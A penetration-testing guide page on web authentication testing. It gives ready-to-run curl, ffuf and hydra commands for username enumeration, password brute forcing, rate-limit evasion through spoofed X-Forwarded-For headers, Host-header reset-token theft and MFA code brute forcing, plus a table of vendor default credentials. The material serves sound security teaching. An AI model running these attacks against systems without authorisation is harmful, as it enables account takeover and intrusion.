# Authentication Vulnerability Testing > Tests HTTP/HTTPS authentication mechanisms for weaknesses including brute force, credential stuffing, session fixation, and broken auth logic flaws. - **URL:** https://hackindex.io/services/web/vulnerability-discovery/authentication-vulnerability-testing - **Path:** HTTP/HTTPS > Vulnerability Discovery - **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md) - **Published:** 2026-09-13 - **Updated:** 2026-09-13 Testing authentication mechanisms in web applications targets the logic and implementation behind login, session management, and identity verification. Weak auth is one of the most common and impactful findings on web assessments. Authentication flaws often overlap with [access control weaknesses](https://hackindex.io/services/web/vulnerability-discovery/access-control-testing) and can chain into [business logic exploitation](https://hackindex.io/services/web/exploitation/business-logic-exploitation). Login forms vulnerable to [SQL injection](https://hackindex.io/services/web/vulnerability-discovery/sql-injection-detection) also enable authentication bypass without credential knowledge. - **Username enumeration** through error messages, timing, and response differences. - **Brute-force attacks** against login forms with rate limit evasion. - **Password reset flaws** including host header poisoning and [predictable tokens](https://hackindex.io/services/web/vulnerability-discovery/weak-random-token-generation). - **MFA bypass** by skipping steps, brute-forcing codes, or abusing verification logic. - **Session fixation** where session IDs persist across authentication boundaries. - **Default credentials** left on admin panels, middleware, and appliances. This is vulnerability discovery: confirming authentication weaknesses exist and understanding their impact, not exploiting them for access. ## Username Enumeration Applications that return different error messages for valid and invalid usernames leak account existence. The difference can be in the response body, status code, response size, or timing. Account lockout that only triggers for valid accounts is another indicator. **Timing-based username enumeration** ```bash curl -sk -o /dev/null -w '%{time_total}\n' -X POST "http://$TARGET_IP:$PORT/login" -d "username=admin&password=wrong" curl -sk -o /dev/null -w '%{time_total}\n' -X POST "http://$TARGET_IP:$PORT/login" -d "username=nonexistent_user_abc&password=wrong" # 0.312045 # 0.103221 ``` A significant time difference between a valid and invalid username means the application performs additional work for known accounts, like password hashing. Repeat each request several times to rule out network jitter. **Username enumeration with ffuf** ```bash ffuf -u http://$TARGET_IP:$PORT/login -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=FUZZ&password=invalid' -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -fs 3456 # admin [Status: 200, Size: 3587, Words: 145, Lines: 42] ``` Run a baseline request first with a username you know does not exist to get the default response size for `-fs`. Any response that deviates indicates the username triggered different logic, confirming it exists. ## Brute-Force Attacks After confirming valid usernames, test password strength and rate limiting. Start with a small targeted list before running large dictionaries. **Hydra HTTP POST brute force** ```bash hydra -l $USER -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -s $PORT $TARGET_IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" # [80][http-post-form] host: 10.10.10.1 login: admin password: password123 ``` **Hydra failure string:** copy the exact text shown on a failed login. If the application returns JSON, use the JSON error value. Get this from a manual login attempt first. **Brute-force login with ffuf** ```bash ffuf -u http://$TARGET_IP:$PORT/login -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d "username=$USER&password=FUZZ" -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -fc 401 ``` ffuf is faster than hydra for HTTP form brute-forcing and gives more control over filtering. Use `-fc` to filter by status code or `-fs` to filter by response size. ### Rate Limit Bypass Many applications implement IP-based rate limiting. If the application trusts proxy headers, rotate the source IP to reset the counter: ```bash for i in $(seq 1 100); do curl -sk -X POST "http://$TARGET_IP:$PORT/login" -H "X-Forwarded-For: 127.0.0.$i" -d "username=$USER&password=password$i"; done ``` Also test `X-Real-IP`, `X-Originating-IP`, and `X-Client-IP`. Some applications only check one of these. If the rate limit resets with a different header value, the protection is bypassable. > [!WARNING] > This generates significant traffic. Expect detection in monitored environments. ## Password Reset Flaws Password reset flows are often implemented separately from the main auth logic and tested less thoroughly. Common issues: host header poisoning, predictable tokens, token reuse, and missing expiry. **Host header injection in password reset** ```bash curl -sk -X POST "http://$TARGET_IP:$PORT/forgot-password" -H "Host: $LHOST" -d 'email=victim@target.com' ``` If the application uses the Host header to build the reset URL, the victim receives a link pointing to your server. When they click it, the token arrives at `$LHOST`. Check the email or intercept the request to confirm the link domain changed. Also test with `X-Forwarded-Host` as some frameworks prefer that header. **Token predictability test** ```bash for i in $(seq 1 5); do curl -sk -X POST "http://$TARGET_IP:$PORT/forgot-password" -d 'email=test@target.com' -D - | grep -i 'token\|location\|set-cookie'; sleep 1; done ``` Request multiple reset tokens for the same account and compare them. Sequential or short tokens are brute-forceable. Timestamps encoded as hex or base64 are predictable. Also check: does requesting a new token invalidate the old one? Can you reuse a token after the password is changed? ## Multi-Factor Authentication Bypass MFA implementations often have logic flaws. The verification step may be a separate page that can be skipped, or the code validation may be weak enough to brute-force. **Skipping the MFA step** ```bash curl -sk -L -b "session=$SESSION_COOKIE" "http://$TARGET_IP:$PORT/dashboard" ``` After entering valid credentials but before completing MFA, try navigating directly to a post-authentication page. If the application serves the protected content, the MFA step is not enforced server-side. Also try changing the response code from the MFA page in your proxy to see if the client accepts it. **Brute-forcing 4-digit MFA codes** ```bash ffuf -u http://$TARGET_IP:$PORT/verify-2fa -X POST -H 'Content-Type: application/x-www-form-urlencoded' -b "session=$SESSION_COOKIE" -d 'code=FUZZ' -w <(seq -w 0000 9999) -fc 401,403 -t 10 # 2847 [Status: 302, Size: 0, Words: 1, Lines: 1] ``` Four-digit codes have only 10,000 possibilities. Without rate limiting, this completes in seconds. Use `-t 10` to throttle if needed to avoid lockout. A 302 redirect typically indicates a successful code. Also test whether the code from one account works on another: authenticate as your account, receive the code, then apply it to a different user's session. ## Session Fixation Session fixation occurs when the application does not regenerate the session ID after authentication. An attacker sets a known session ID before the victim logs in, then uses that same ID to access the authenticated session. **Testing session fixation** ```bash curl -sk -v -b 'PHPSESSID=fixedsessionvalue123' -c /tmp/cookies.txt -X POST "http://$TARGET_IP:$PORT/login" -d "username=$USER&password=$PASSWORD" 2>&1 | grep -i 'set-cookie' # < Set-Cookie: PHPSESSID=fixedsessionvalue123; path=/ ``` If the session ID in the response is the same as what you sent, the application accepted the attacker-controlled value. A secure application issues a new session ID after login, regardless of what the client sends. Test this for every session cookie name the application uses. Common names: `PHPSESSID`, `JSESSIONID`, `ASP.NET_SessionId`, `session`, `connect.sid`. ## Default and Weak Credentials Admin panels, middleware management interfaces, and appliances frequently ship with default credentials that are never changed. Test these before running brute-force attacks. **Testing default credentials with hydra** ```bash hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt $TARGET_IP http-get /manager/html # [80][http-get] host: 10.10.10.1 login: tomcat password: s3cret ``` The `-C` flag takes a colon-separated `user:pass` file instead of separate username and password lists. SecLists ships default credential lists for many technologies under `Passwords/Default-Credentials/`. ### Common Default Credentials | Technology | Username | Password | Path | | --- | --- | --- | --- | | Apache Tomcat | tomcat | s3cret | /manager/html | | Apache Tomcat | admin | admin | /manager/html | | Jenkins | admin | admin | / | | Grafana | admin | admin | /login | | phpMyAdmin | root | (empty) | /phpmyadmin/ | | WordPress | admin | admin | /wp-login.php | | Joomla | admin | admin | /administrator/ | | Webmin | root | (system password) | :10000 | | Spring Boot Actuator | (none) | (none) | /actuator | | Elasticsearch | elastic | changeme | :9200 | | Kibana | elastic | changeme | :5601 | Check vendor documentation for any technology identified during enumeration. Many devices and appliances have published default credentials that are indexed on sites like [cirt.net](https://cirt.net/passwords) and [defaultpassword.com](https://www.defaultpassword.com). ## References - [PortSwigger - Authentication Vulnerabilities](https://portswigger.net/web-security/authentication) - Interactive labs covering username enumeration, brute force, MFA bypass, and password reset attacks. - [OWASP Testing Guide - Authentication Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/) - Comprehensive testing methodology for authentication mechanisms. - [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) - Secure implementation guidance, useful for understanding what a correct implementation looks like. - [SecLists Default Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials) - Default credential lists for common technologies.